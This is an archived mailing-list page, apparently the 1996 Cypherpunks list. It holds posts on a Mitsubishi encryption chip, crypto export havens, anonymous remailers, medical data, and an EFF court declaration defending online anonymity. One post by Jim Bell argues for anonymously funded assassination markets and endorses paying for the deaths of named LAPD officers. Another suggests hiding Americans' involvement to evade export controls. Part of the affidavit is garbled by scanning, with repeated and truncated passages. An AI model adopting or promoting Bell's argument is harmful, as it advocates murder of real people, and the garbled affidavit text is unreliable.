Nikkei English News, 24 September 1996. Mitsubishi unveils Japan's fastest encryption chip Mitsubishi Electric Corp. said it has developed an LSI that can encrypt data at a speed of 450 megabits per second, which is four times faster than any other encryption chip developed in Japan and brings domestic technology in line with DES, the U.S.-developed encryption system that has become the standard in the U.S. and Europe. Because the chip performs the same as DES, Mitsubishi will promote it as a domestic product for encryption needs in Japan, with an eye on the growing market for corporate intranets and high-speed data communications. It said it will prepare for volume production during this year. The company fabricated the chip as a gate array using a 0.5 micron CMOS process and its own proprietary encryption algorithm MISTY. Operating at a maximum input/output speed of 40 megahertz, the chip can handle 32 bits per clock cycle. [End]

2 1

Possible snake oil?
by Phil Fraering 17 Dec '03

17 Dec '03

I ran across this at the web site of a New Orleans area web authoring company. I checked with a friend of mine of long standing on this list, and he assured me that the information was probably false. (Here it is...) <begin included excerpt from web page) [deleted] has one of the fastest and most powerful web networks in the world, with servers effortlessly handling in excess of two million hits a day, and resources spanning four seperate backbone providers on two continents from North America to Europe. Entire networks at [deleted] are exclusively dedicated to web hosting, electronic commerce and other applications; separate servers are available with a plethora of advanced services including: SSL & SHTTP Encrypted Web Systems (using the maximum 1024-bit encryption keys) BSDI Unix 2.1 (our main net OS, proven to be superior to all), Windows NT, Windows 95, Macintosh, DOS, Linux and other platforms available. RealAudio, VDOLive, CuSeeMe servers RAID5 mirror networks in Europe Access to [deleted] Advanced Systems Products (IASP) servers and scripts exclusively available to [deleted] clients, which include shopping cart/automated ordering, web database systems, surveys & demographics, web page creation systems, ad & quote systems, and much more. ============= <end excerpt from corporate web page> Well? Do _any_ of you know of a 1024-bit encryption standard for the world wide web currently in use? According to these people, they're using it. ObLegalQuestion: Should I have been less coy about the corporation name? Phil Fraering The above is the opinion of neither my internet pgf(a)acadian.net service provider nor my employer. 318/261-9649

5 4

Re: SAY WHAT? [Assassination NOISE]
by jim bell 17 Dec '03

17 Dec '03

At 12:30 AM 9/25/96 -0700, Bill Stewart wrote: >Bell, like X, is proposing mechanism without built-in policy, >as well as suggesting some potential policy implementations. If you use >the mechanism to sponsor assassination of people who have initiated force >against you, you're only using retaliatory force, not initiating it. Funny that Simon didn't see that... >On the other hand, the mechanism also can be used against people who >haven't initiated force against the sponsor - even against politicians >who have refused to get the country into misguided but popular wars >or judges who have refused to convict innocent but wrong-colored defendants. That's a too-superficial interpretation. If AP were operating, it would be unnecessary to "get the country into misguided but popular wars" because anybody who wanted to war with some external enemy need merely kill him via AP, by individual donation. There would be no legislature to make the war decision, and no need for any such decision. War as we have known it (a collective decision that is binding on all citizens, whether or not they approve) would simply not exist. There would be no mechanism to force other people into a war on your side, other than rhetorical arguments. Attempting to do so by force would merely make more enemies. As for "judges who have refused to convict innocent but wrong-colored defendants"? I think that's an unfair and misleading "problem." Much of the problem of bias and discrimination in this country is caused by the fact that these factors have been institutionalized BY GOVERNMENT. Trace it back just a little, and you'll discover that the "innocent but wrong-colored defendants" were arrested and charged BY GOVERNMENT in a display of bias. At best, that courageous judge is merely ceasing, in one particular incident and too late, an episode of bias which shouldn't even have been started in the first place. Is this "good"? Not really. It's just "not quite as bad." There's still the underlying problem which will repeat ad infinitum. Why depend on a judge to do this? Why not fix the bias before the defendant gets to court? I look at it this way: Why shouldn't the black community (and any outraged whites, as well...) have been able to purchase the deaths of all of the LAPD officers who beat Rodney King, INCLUDING the ones who stood around and watched it happen? I claim that in a society where they could do this, such a beating simply would never have happened, because no cop would have dared to take the risk that a camera would be nearby. In other words, the problem would have been solved before it started. The quickest response to this is that "pretty soon, you won't have any more cops." But no, that's not true. It _is_ true that the thugs will no longer want to become/stay as cops, so that'll be a loss for the good. More likely, cops will simply stop doing those things that will end up offending a substantial fraction of the population, like beating a carload illegal immigrants that they have stopped after a car chase. >Like democracy, it's a really terrible system, and like democracy, >there are some alternatives that aren't worse :-) Maybe even democracy. >It's at least as appalling an idea as government. > >If it does catch on, and I suspect that the technology will certainly >make it possible, I hope that most of the public will have enough sense >and decency not to pay for murdering people who don't deserve it, >so assassins will find more of a market for killing people who do, >and that the lower-paid assassins who kill undeserving people will >be less competent and get caught like most stupid bank robbers do. > >But there are enough Drug-War-Loving Americans that I doubt it. The de-facto drug war won't end instantly after the adoption of AP, but it will be pretty quick. Instead of today, when every citizen is forced through taxation to support the Drug War, this will probably drop to 25% voluntary contributions or less post AP. It's pretty hard to get enthused about a victimless crime, and likewise it's hard to enforce such rules, so people's donations won't match the pre-AP funding. Classic drug-warriors won't dare spread any of their propaganda; people's memories will still be fresh on the pre-AP abuses, so the Bennetts and the Rangels will either be silent or dead, or effusive with apology for their prior behavior. Further, the dramatic drop in the prices of currently-illegal drugs will translate into a similarly large drop in crimes to pay for those drugs, an improvement that everybody will notice. >And attila replied >> all very true. but I will defend Jim Bell's rights to propose >> them, even if Bell is more than a few cards short of a full deck. > >Sure, he's got the right to, and if I run a remailer again he's welcome >to use it to discuss AP (though not to propose assassinations....) >Doesn't mean I want to encourage this sort of thing, though. >Remailers can damn well afford to be choosy, and I'll bet >5 zorkmids that the first person to use my remailer for assassination >doesn't last a month. (Oh, wait...) "Your bet has been duly recorded, sir." <beep!> Jim Bell jimbell(a)pacifier.com

1 0

Re: Where to write crypto?
by azur＠netcom.com 17 Dec '03

17 Dec '03

>On Tue, 24 Sep 1996, Steve Schear wrote: > >> I believe Taiwan might be an excellent location to have 'clear room' crypto >> work done. Taiwan has a very large skilled software labor pool and isn't a >> member of COCOM. >Why go so far, when you can export crypto from Anguila or Canada. The >first is right next to Florida and is a tax haven, the second has a large >talent pool and the same qulity telecom as the States. The main problem is >concealing the fact that there may be any Americans involved. Both save >you the trouble of learning Chinese. I didn't mean that an U.S. citizen should relocate and develop in Taiwan. Why do that when almost all Taiwanese CS speak, read and write fluent english. Just develop the specs and contract for programming. There are many companies waiting to take you business . BTW, there a several U.S. companies (e.g., Typhoon Software, typhoon(a)typhoon.com) which can manage the development of a wide variety of software projects (including crypto code) by highly qualified personel in the former Soviet Republics. For comfort, the software can be tested in the U.S. (just to make sure no trapdoors have been insered by the Russian Mafia ;-) -- Steve

1 0

Dyson on anonymity (in WSJ article on our challenge to GA net law)
by Stanton McCandlish 17 Dec '03

17 Dec '03

FYI: [...] Esther Dyson, president of high-tech publisher EDventure Holdings Inc. and chairwoman of the Electronic Frontier Foundation, a high-tech civil liberties organization that is a co-plaintiff in the lawsuit, calls the Georgia law "brain-damaged and unenforceable," and adds: "How are they going to stop people from using fake names? Anonymity shouldn't be a crime. Committing crimes should be a crime." [...] -- <HTML><A HREF="http://www.eff.org/~mech/"> Stanton McCandlish </A><HR><A HREF="mailto:mech@eff.org"> mech(a)eff.org </A><P><A HREF="http://www.eff.org/"> Electronic Frontier Foundation </A><P> Online Activist </HTML>

2 1

EFF declaration/affidavit in support of anonymity in GA case.
by Stanton McCandlish 17 Dec '03

17 Dec '03

Full text (with some scannos, but it's readable) in next message. Enough about "lies". We're not just talkin' the talk, we're walkin' the walk too. Also, we are negotiating final details on assisting Julf with a legal defense fund for anon.penet.fi's troubles. -- <HTML><A HREF="http://www.eff.org/~mech/"> Stanton McCandlish </A><HR><A HREF="mailto:mech@eff.org"> mech(a)eff.org </A><P><A HREF="http://www.eff.org/"> Electronic Frontier Foundation </A><P> Online Activist </HTML>

1 0

Re: your mail
by John Norseen 17 Dec '03

17 Dec '03

robert, good to hear from you again...what else is new and exciting on your front...norseen

2 1

Re: Uses of Computational Chaos
by E. Allen Smith 17 Dec '03

17 Dec '03

From: IN%"adamsc(a)io-online.com" "Chris Adams" 17-SEP-1996 15:12:13.73 >Supposing, too, that you know these weaknesses, would using separate algorithms >for different portions of the number work well? That would seem to be a possibility; admittedly, the local copy of AC has been checked out for the past year, so I haven't been able to take a look at it. I'd tend to think that if you _know_ the flaw, one could come up with a better way to deal with it than the generalized method I discussed. For instance, if the MSB of bytes coming out of a scribble window is too low in entropy, only use it XORed or whatever with a more-random bit. -Allen

1 0

Re: ISPs' information on users
by tcmay＠got.net 17 Dec '03

17 Dec '03

At 2:43 PM 9/25/96, Phil Fraering wrote: >On Tue, 24 Sep 1996, Timothy C. May wrote: > >> (There's a certain new ISP with tight links to a quasi-religious group much >> in the news lately, and some have speculated that this ISP may be >> monitoring certain users....) >> >> --Tim May > >Which ISP and religious group is this? Just why do you think I was elliptical in my comments? To type three lines instead of just typing the name? Think about it. With Webcrawlers looking for names of organizations--and the Cypherpunks archives show up on such searches--and with some organizations being very quick to sue for perceived defamation.... --Tim May We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1,257,787-1 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

2 1

Re: Where to write crypto?
by tcmay＠got.net 17 Dec '03

17 Dec '03

At 2:05 PM 9/25/96, s1113645(a)tesla.cc.uottawa.ca wrote: >Why go so far, when you can export crypto from Anguila or Canada. The ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >first is right next to Florida and is a tax haven, the second has a large >talent pool and the same qulity telecom as the States. The main problem is >concealing the fact that there may be any Americans involved. Both save >you the trouble of learning Chinese. Are you _sure_ about what you say about Canada? After all, in nearly all defense- and crypto-related matters, they are essentially the 51st State. In fact, Canada is one of the places crypto may be exported _to_ from the U.S. without any license. So, export strong crypto into Canada and then invoke the "you can export crypto from...Canada" clause? I don't think so. As to Anguilla, I fear it's too small an island and too tightly controlled by the Ruling Families, who will take action if the boat gets rocked enough. The recent experiences with Vince essentially repudiating certain policies he had publically announced have left his experiment with not a lot of "backbone" (no pun intended). As Vince said, paraphrasing his comments, the government of Anguilla will take steps to stop things which cast the island in a bad light. Not much of a haven, eh? --Tim May We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1,257,787-1 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

2 1

Re: Winsock Remailer Ver 1.3 -- Help!
by makof＠alias.cyberpass.net 17 Dec '03

17 Dec '03

Hello! It could receive message but not remail. What could be the problem? A sample of the Statistics Table is as follows: Messages remailed 0 Messages discarded 3 Messages received 10 Other particulars are: 1) Pool set as 3 for light traffic 2) POP 3 working fine in other email applications. 3) Platform is Windows 3.1 Some Questions: 1) What should be the entries in the PGP Options dialogue box? 2) Do I have to create separate public and secret keyrings for the remailer? Would apprecaite any help. Makofi

1 0

affeff.htm
by Stanton McCandlish 17 Dec '03

17 Dec '03

EFF AFFIDAVIT IN THE UNITED STATES DISTRICT COURT FOR THE NORTHERN DISTRICT OF GEORGIA ATLANTA DIVISION AMERICAN CIVIL LIBERTIES ) UNION OF GEORGIA, et al, ) ) Plaintiffs, ) CIVIL ACTION ) vs. ) ) FILE NO. _______ ZELL MILLER, in his official ) capacity as Governor of the ) State of Georgia, et al, ) ) Defendants. ) DECLARATION OF SHARI STEELE County of Charles ) State of Maryland ) 1. My name is Shari Steele. I am employed as staff counsel for the Electronic Frontier Foundation (EFF), a nationwide, nonpartisan nonprofit civil liberties organization of approximately 3500 individual members. EFF works in the public interest to protect privacy, free expression, and access to public resources and information online, as well as to promote responsibility in new media. EFF is committed to defending civil liberties in the world of computer communications, to developing a sound legal framework for that world, and to educating government, journalists, and the general public about the legal and social issues raised by this new medium. The facts set forth in this declaration are based upon my personal knowledge and upon the business records of EFF. I submit this affidavit on behalf of EFF. 2. EFF is a nonprofit organization incorporated under the laws of California, with our principal place of business in California. EFF has members throughout the United States, including Georgia. 3. Since our inception in 1990, EFF has devoted considerable resources to educating the public about civil liberties and other legal issues as they arise in the context of online computer communications, or "cyberspace." Throughout EFF's existence, we have initiated and/or moderated several online forums, including forums on the World Wide Web, the WELL (a California-based conferencing system and Internet Service Provider), and USENET discussion groups. These forums are primarily interactive discussion groups, but EFF representatives also frequently participate in online "chat" rooms and in special online events that allow users to discuss and debate a variety of legal and constitutional issues. 4. In addition, EFF has our own computer site on the Internet, and our name (sometimes referred to as a "domain" name) is "eff.org." EFF's public education efforts include the maintaining of extensive online resources, both on the forums we run with online service providers and on our own Internet site. These resources include articles, court cases, legal papers, news releases, newsletters, and excerpts from public discussions related to EFF's legal, legislative, educational and advocacy work. EFF also publishes web pages on the World Wide Web, which can be accessed at http://www.eff.org/. 5. EFF maintains eight online mailing lists, both for specific civil-liberties and activist activities, and for informing the public about our activities. Our primary mailing list has a subscriber base of approximately 7500 individuals, including many located in the State of Georgia. 6. On average, EFF's web page is accessed by Internet users more than 300,000 times every day. Through our web site, EFF transmits between 1.2 to 1.5 gigabytes of information per day. Roughly speaking, this means that EFF's web site transmits the equivalent of 250 to 350 million words, or two entire encyclopedias' worth of information, over computer networks every day. A substantial volume of this information is transmitted into the State of Georgia or through wires located in that State. 7. Although EFF's web site and many of our online resources are based on a computer in California, those resources are accessible to EFF members and other interested individuals throughout the world and in every state of the United States, including the State of Georgia. Similarly, the EFF resources and forums that are maintained on other national commercial online forums can by accessed by those systems' subscribers throughout the United States, including the State of Georgia. 8. EFF routinely advises individuals and groups about their legal rights and responsibilities in the online world. In addition, EFF advocates positions, and promotes discussions, about what those rights and responsibilities should be. Since virtually all interactions on the Internet and other computer networks are at their essence communication and expression, EFF's policy positions and the discussions we foster strongly emphasize freedom-of-speech concerns. Similarly, because free flow of information made possible by this new online technology creates the possibility of extraordinary intrusion into the privacy of computer users, EFF's policy positions and the discussions we foster strongly emphasize the issues of protection of online privacy, including the right to communicate anonymously over computer networks and the right to use encryption software to prevent unauthorized interception and viewing of private communications sent over computer networks. 9. As a part of EFF's efforts to protect the privacy of on line users and in furtherance of free speech, EFF routinely assists our members and members of the general public in protecting their privacy when communicating over the Internet, while at the same time emphasizing the importance of using these privacy rights responsibly. EFF facilitates responsible anonymous communication over computer networks in several ways. For example, many participants in online discussions and chats sponsored by EFF use "handles," i.e., assumed names, rather than their actual names. EFF also provides links on our web page to so-called "anonymous remailers," which are computers on the Internet that will forward Internet e-mail anonymously, allowing an even greater level of privacy for online communications than can be obtained by the use of pseudonyms alone. EFF is aware of and facilitates the responsible use of online handles or pseudonyms, and of communications via anonymous remailers, because the ability to communicate over online networks in this way allows users to participate in chats or discussions groups without abandoning their privacy. It permits users to participate in these discussions without revealing their name to strangers, and without fear of retaliation for the expression of unpopular or controversial viewpoints. This protection of privacy furthers the public interest by facilitating freer and more frank discussions, especially on controversial issues such as questions of online privacy and encryption software. 10. Similarly, EFF wants to make the information that we pub lish on such issues freely available to computer network users who seek it but who want to obtain it anonymously, i.e., by requesting it over computer networks using a pseudonym or handle. Again, EFF believes that by protecting the privacy of users by allowing them to obtain information of public interest anonymously, information on these issues can be disseminated more fully and freely over computer networks. 11. In addition, nearly all of EFF's approximately 3500 mem bers use online communications. EFF members both receive and transmit information through a variety of online communications, including the World Wide Web, online mailing lists, discussion groups, chat rooms, computer bulletin boards, and private e-mail. Many of EFF's members use handles or pseudonyms to protect their privacy when communicating over computer networks. Many of these communications pass through the State of Georgia. 12. I have reviewed the language of O.C.G.A. 16-9-93.1, and neither I nor EFF can determine from its language whether commu nication over computer networks using a pseudonym or assumed name constitutes the use of a name that "falsely identifies" the user for the purposes of the criminal sanctions imposed by this statute. Because EFF actively facilitates and encourages the responsible use of pseudonyms in online communications for the protection of privacy, however, and because virtually all of the anonymous communications over computer networks facilitated by EFF are as easily accessible in Georgia as anywhere else in the world, EFF is fearful that our activities could be viewed by a Georgia prosecutor as aiding and abetting violations of the statute. Similarly, EFF is concerned on behalf of our members that those members who communicate over computer networks using pseudonyms or handles could be violating this criminal statute. EFF, both on our own behalf and on behalf of our members, therefore fears prosecution or other enforcement in Georgia under the statute, and seeks guidance from the Court as to the effect and scope of this vague law. Although EFF is concerned about the risk of prosecution, EFF views any such restriction on our activities in furtherance of the public interest as patently unconstitutional, and we fully intend to continue our activities in support of online privacy and free speech despite the passage of this law. 13. In addition to the many other services that EFF provides to our members and to the online community in general is the online publication through EFF's web site of an extensive archive of articles and other information of interest to the online community. EFF's archives include information on government and legislative activities, legal issues and cases, academic freedom, censorship, free expression and other civil liberties, the infor mation infrastructure and network resources, intellectual property, privacy and encryption, net culture and the online community, and social responsibility in the use of online resources. Included within these archives are hundreds of hyperlinks from the EFF web site to other information and resources made available by others on the Internet on related topics. Many of these links use the trade names of the companies, organizations, government agencies or other entities to whom the link is provided. In some cases, EFF uses the logos or other graphical symbols of the organizations to whom we are linking on our web site. EFF does not obtain prior permission from other web publishers before providing links to their web sites in this manner. Given the sheer number of links, EFF could not as a practical matter do so. EFF does not intend to falsely imply that we have obtained such permission or that we are formally affiliated with any of these other entities. EFF is aware that individuals and companies that maintain their own web sites want others to link to their sites as a matter of course. EFF is concerned that its use of these trade names and images could violate the Act and subject EFF or our members to criminal prosecution, when it is the Act, not our actions, that is in defiance of the customary usage and spirit of the Internet. COMPUTER NETWORKS AFFECTED BY THE RESTRICTIONS OF O.C.G.A. 16- 9-93.1 The Global Internet 14. The largest computer network in the world is the Internet. It links a large number of smaller networks set up by universities, industry, nonprofit organizations, governments, and individuals. While estimates can only be approximations due to rapid growth, the Internet is believed to connect at least 59,000 computer networks, 2.2 million computers, 159 countries, and 40 million users. By some estimates, there will be as many as 200 million Internet users by the year 1999. 15. No one owns the Internet. It is a decentralized global medium of communication and expression in which governments, universities, institutions, corporations, and millions of ordinary people can communicate with each other, express opinions, share ideas, educate themselves, and seek, exchange or publish information on every imaginable topic either to specific recipients or to the entire world almost instantaneously and at minimal cost. 16. Virtually anyone can now use the Internet to communicate with other online users. Anyone with a personal computer, modem, and telephone line can obtain access to the Internet through an Internet Service Provider ("ISP"), usually for a fee. Many businesses, universities, and other institutions have computer networks that are directly connected to the Internet and give their employees, faculty, students, etc., free or low-cost Internet access accounts. For those without a computer or access through work or school, many communities have establrnet to communicate with other online users. Anyone with a personal computer, modem, and telephone line can obtain access to the Internet through an Internet Service Provider ("ISP"), usually for a fee. Many businesses, universities, and other institutions have computer net works that are directly connected to the Internet and give their employees, faculty, students, etc., free or low-cost Internet access accounts. For those without a computer or access through work or school, many communities have establternet can travel any number of different paths to get from its origin to its destination. Persons transmitting information over this international computer network have no control over the route their messages take. Any data transmitted over the Internet could potentially travel through the wires or airspace of Georgia. 18. There are hundreds of thousands of Internet users in the State of Georgia, all of whom can communicate with or receive information from any other user on the network anywhere in the world. Commercial Online Services 19. In addition to the global Internet, communications over the large national computer networks known as "commercial online services," including Prodigy, America Online and CompuServe, are also affected by the Act. 20. These services enable their customers to communicate with other customers, access the Internet, and access other proprietary information and services available only to subscribers. There are more than 12 million subscribers to major commercial online services in the United States and overseas; each of these services have customers in Georgia, who use the service to communicate with others throughout the United States (and in some cases, the world). Local Bulletin Board Services ("BBSs") 21. The Act also affects communications over thousands of local dial-in computer services known as Bulletin Board Systems, or "BBSs." With a relatively small investment, anyone with a phone line, computer, modem, and proper software can establish a BBS to allow friends, neighbors, customers, or members of the general public to dial in and communicate with each other on topics of common interest. There are several hundred such BBSs in Georgia, operated by individuals, nonprofit organizations, advocacy groups, and businesses. In addition, there are thousands of additional local BBSs in other states, which can be reached from Georgia over long distance telephone lines or through a network of BBS systems, which allows BBS subscribers to communicate with subscribers to other BBSs in Georgia and throughout the country. THE NATURE OF COMMUNICATION OVER COMPUTER NETWORKS AFFECTED BY THE ACT 22. Computer users communicate with each other over the com puter networks described above in many different ways. The content of all of the following types of communications are restricted by the broad language of the Act. E-Mail 23. E-mail is the basic method of communication over computer networks. It allows one user to send a message to any other user or users on the network. 24. Because mass mailings via e-mail are relatively easy and inexpensive, e-mail enables any user to publish and distribute information on any topic simply by compiling a mailing list of online users and sending the newsletter to everyone. Discussion & Chat Groups 25. One of the most popular forms of communication over com puter networks are "discussion groups." Discussion groups allow users of computer networks to post messages onto a public computerized bulletin board or to an automated electronic mailing list of subscribers, and to read and respond to messages posted by others participating in the discussion group. Discussion groups have been organized on many different computer networks and on virtually every topic imaginable. 26. On the Internet, the bulletin board discussion groups are known as the "USENET" newsgroups and are arranged by subject mat ter. There are currently USENET newsgroups on more than 15,000 different subjects, and over 100,000 new messages are posted to these groups each day. In addition, there are many thousands more Internet discussion groups organized through automated mail ing lists to subscribers. There are still thousands more organized on the various commercial online services and on local BBSs. All or virtually all of these discussion groups are accessible by computer users in Georgia. 27. Similar to discussion groups are "chat groups," which allow users to engage in real time conversations with each other by typing messages and reading the messages typed by others participating in the "chat." Chat groups also occur over the Internet, commercial online services, and local BBSs. These groups are often set up by particular organizations or online services, but any individual user can form an online "chat." Some chat groups are organized for social entertainment, and others are organized by a particular sponsor on particular topics to provide a specific forum for discussion of issues or ideas. 28. Online discussion and chat groups create an entirely new public forum -- analogous to the village green -- in which individuals can associate and communicate with others who have common interests and can engage in discussion or debate on every imaginable topic. Publication and Access to Information: The World Wide Web 29. A third major category of communication on computer net works involves the publication and retrieval of information. Computer networks, and especially the Internet, give individuals of ordinary means a remarkable new power to publish ideas, opinions, poetry, stories, images, video, and sound to the world. This information can then be retrieved by anyone in the world who has access to the network. 30. The World Wide Web is the most popular way to publish and retrieve information on the Internet. Anyone with access to the Internet and proper software can publish "web pages," which may contain text, images, sound and even video. The web is comprised of millions of separate "web sites" that provide content provided by a particular person or organization, and each web site may include one or more different web pages published by the author of the site. Any Internet user anywhere in the world can view the web pages published by others, read their text, look at their images and video, and listen to their sounds. 31. The web was created to serve as the platform for a global, online store of knowledge, containing information from a diversity of sources, and accessible to Internet users around the world. Though information on the web is contained in individual computers, the fact that each of these computers is connected to the Internet through web protocols allows all of the information to become part of a single body of knowledge. It is currently the most advanced information system on the Internet. The Importance of Links on the World Wide Web: 32. The web also provides web authors with the unique ability to "link" different web pages on the Internet together. These "links" can be text or images in a web page that, when selected by the reader, automatically transfer the reader to a different location on the Internet. For example, a particular link might transport the reader to a different part of the same web page or to an entirely different web page stored in an entirely different computer anywhere in the world. 33. The author of any web page can create a "link" that points to any other web page published on the Internet, without having to contact the creator of the document. In fact, Internet custom and usage does not require a web author to contact a document creator, and those who create documents expect and hope to have their pages linked to. Many of the plaintiffs publish such links in their web pages. 34. Many pages on the web are published by corporations or organizations that operate under trade names. Links to those web pages are routinely identified by the trade name of the organization or some other logo or trademark that readily identifies the company or organization to whose web page the link is directed. 35. "Search engines" and "directories" on the web are ser vices that collect and organize millions of different links to web pages. "Search engines," such as Yahoo, Alta Vista, and Webcrawler, allow users to search the entire World Wide Web for particular words or phrases. The search engine then provides a list of web pages that contain the search term and allows the user to "link" to the web page of their choice. "Directories" are large databases of web sites arranged according to subject matter, similar to an online card catalog. Directories provide "links" to relevant web sites on particular subjects. 36. Without these search engines and directories, it would much more difficult for Internet users to locate and retrieve information of interest on the web. Thus, these search engines and directories provide an essential service to all Internet users. They routinely provide many "links" to web pages using the trade names or logos of the companies or organizations to whom they are linking. 37. This critical linking feature is the defining character istic of the web. The web is comprised of all web pages in the world, stored in millions of different computers around the globe. The web is the interlocking system of links created by individual users in each individual page. Linking is encouraged on the web, because it ties different web pages on related topics together into a coherent system, even though the individual web pages themselves might be stored in different computers in different parts of the world. 38. "Cyberspace" refers to the combination of all of the online communications systems described above. WHY PEOPLE COMMUNICATE ANONYMOUSLY IN CYBERSPACE 39. For many of the same reasons that people have histori cally communicated anonymously through other media like print and the telephone, online users frequently communicate anonymously or pseudonymously in cyberspace. 40. Anonymity allows online users to voice unpopular ideas without fear of retaliation. Citizens can engage in political speech without identifying themselves to the party in power. Victims of crime or disease can request help and advice without stigma. 41. Anonymity also eliminates the potential for discrimina tion and harassment according to factors like gender and ethnicity. Many women communicate online under gender-neutral pseudonyms to avoid harassing e-mail. This practice is similar to women who list their telephone numbers under their first initials in order to avoid harassing calls. Similarly, online users may wish to use a pseudonym in order to avoid discrimination or harassment based on names associated with particular ethnic groups. 42. Anonymity also helps online users maintain their privacy. People communicating about unpopular or sensitive issues might suffer unwanted invasions of privacy, both online and offline, if others had access to their real identity. Anonymity also allows famous people to communicate online as "average people," without fear of a privacy invasion. 43. In some cases, anonymity is a necessary security measure. The personal safety of human rights dissidents, domestic abuse victims, and whistle-blowers would be compromised if they could not communicate anonymously. 44. Anonymity also assists users in preventing the collection and potential misuse by third parties of personal information about them. Online communications can be easily tracked, downloaded and stored by anyone; anonymity can prevent unauthorized third parties from tying that information to a particular person. 45. In addition to the advantages of speaking anonymously in cyberspace, online users have many reasons for wanting to access online information anonymously. Many users would be inhibited from accessing controversial, embarrassing, or sensitive information if they first had to reveal their identity. Political information, safe sex information, and information on stigmatizing diseases are just a few examples of content that some users might wish to access anonymously. In addition, because most web sites collect information about visitors, many online users fear that using their real identities would threaten their privacy whenever they access the web. HOW INDIVIDUALS COMMUNICATE ANONYMOUSLY IN CYBERSPACE 46. As a general rule, communications over computer networks typically include identifying information, such as the sender's return address and message routing information. This default identification of the speaker differentiates online communication from communication by print and telephone. 47. Online technology, however, provides users with a variety of ways to communicate over computer networks without revealing their identity. Online Communications Using Pseudonyms or "Screen Names" 48. Many Internet Service Providers, commercial online ser vices, and local BBSs allow users to set up pseudonymous accounts, permitting the user to communicate online using a "screen name," "user name," or "handle" that is a pen name rather than the real name of the account holder. When a user sends mail, publishes newsletters, or participates in discussions or chat groups using this screen name, the message sent is identified as coming from the screen name adopted by the sender. 49. Many service providers allow their users to set up multi ple "screen names" or "user names." This feature allows users to use different names for different purposes. For example, a user might use her real name as a "screen name" when communicating by e-mail with someone she knows personally, but use a pen name as a "screen name" when communicating with strangers. 50. Pseudonymous accounts allow users to have a consistent identity in cyberspace without having to reveal their true identity to the people with whom they are communicating. Anonymous Internet Access Accounts: 51. The use of "screen names" alone, however, does not pro vide complete anonymity to the user, because the user's service provider knows the true identity of the subscriber. To provide additional privacy, some Internet Service Providers and local BBS operators offer anonymous access accounts. That is, they do not require any identification in order to set up an account for communicating over the network. These accounts provide additional privacy and security to the user because even the service provider has no way to identify the true identity of the user. Anonymous and Pseudonymous Remailers: 52. In addition to the use of screen names or anonymous ac cess accounts, there are special services that allow online users who normally communicate online under their real names to send particular messages anonymously or pseudonymously over the Internet. These services are known as pseudonymous and anonymous remailers, and they consist of software programs that run on computers connected to the Internet. When an online user sends e-mail to the remailer address, the remailer strips the identifying information from the message and then forwards the mail to its destination. The recipient receives mail that has no evi dence indicating its point of origin. Remailers can be used to send individual e-mail and to post messages to mailing lists or USENET newsgroups. 53. "Pseudonymous remailers" are remailers that set up ac counts for repeated use. The operator of a pseudonymous remailer knows the account holder's real e-mail address but provides the account holder with a secret numeric identifier that is used whenever the account holder sends a message through the remailer. Other anonymous users, each with their own secret numeric identifier, can then reply to the anonymous message. This allows users to create a double-blind situation where two or more users can have an ongoing exchange without ever knowing the identity of the other users. 54. Anonymous remailers do not require setting up any account with the service. Any Internet user can use these services by sending an e-mail message to the remailer, which will forward it anonymously to its final destination. 55. Currently, there are over 20 public remailers that any online user may use free of charge. 56. To prevent abuse of such remailers, there are programs available to the public, known as "kill files" and "bozo filters," that provide online users with the means to screen out anonymous messages if they desire. These programs reduce the likelihood of harm from misuse of anonymous remailers. Online Publishing Under Pseudonyms or Anonymously 57. As in the case of e-mail, many publishers in the online medium choose to do so using pen names. 58. For additional anonymity, some Internet Service Providers also allow persons and organizations to set up and maintain web pages anonymously. Anonymous Access Services: 59. Conversely, many online users seek to receive information anonymously over the Internet. As a general rule, however, obtaining information anonymously over the Internet is difficult because every time an online user visits a web site, she leaves a digital "calling card" that reveals the address of the computer from which she is linked to the Internet, the address of the web site she last visited, the kind of computer she is using, and other details. Most web sites keep logs with this information on all of the visitors that access their sites. 60. Many online users fear that their privacy will be invaded if data collected by web sites is misused, particularly where the user has no knowledge of the amount of data being collected by various web site operators. 61. To assist online users in protecting their privacy, there are now services that allow online users to access information anonymously on the Internet. These services, called "anonymizers," serve as middlemen between the user and the par ticular pages he wants to retrieve. An anonymizer strips all references to the user's e-mail address, computer type, and previous page visited before downloading the web page to the user. If the user follows a link from a page accessed through the anonymizer, the linked page is also accessed anonymously. I, Shari Steele, declare under penalty of perjury that the foregoing is true and correct. Executed this ______ day of September, 1996. ________________________________ SHARI STEELE STAFF COUNSEL ELECTRONIC FRONTIER FOUNDATION

1 0

Re: Medical Data
by tcmay＠got.net 17 Dec '03

17 Dec '03

At 2:28 PM 9/25/96, Phil Fraering wrote: >Of course, one area where the doctor will continue to hold a patient's >records, instead of the patient, due to the nature of the current system: > >Prescription medication. > Digitally signed prescriptions from qualified doctors. (Not that I support this system...I rather like the "anarchy" of Mexico, where one walks into a pharmacy in Tijuana and can buy purt near anything). >Of course, with the really big problems with this stuff, drug >interactions, there's still no system for a doctor to find out what you're >on thanks to another doctor. Which is why it's very important to always >use the same pharmacist. The lesson of the last decade has been that _interested patients_ often do more research about their conditions and various drug effects than their doctors can. (This happened with a friend of mine, who ultimately died, and a similar case was recently detailed about Andy Grove, of Intel, who did exhaustive research on the Net about his condition...making him (finally) a real user of the Net. There was also a movie, "Lorenzo's Oil," about this exact situation.) In any case, the issue of which drugs one may be taking and maintenance of "drug interaction databases" is not a core issue. One can selectively release the list of drugs being considered to an "oracle" machine, and check for dangerous interactions. Or tell the physician, which is certainly no worse than the current situation. --Tim May We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | 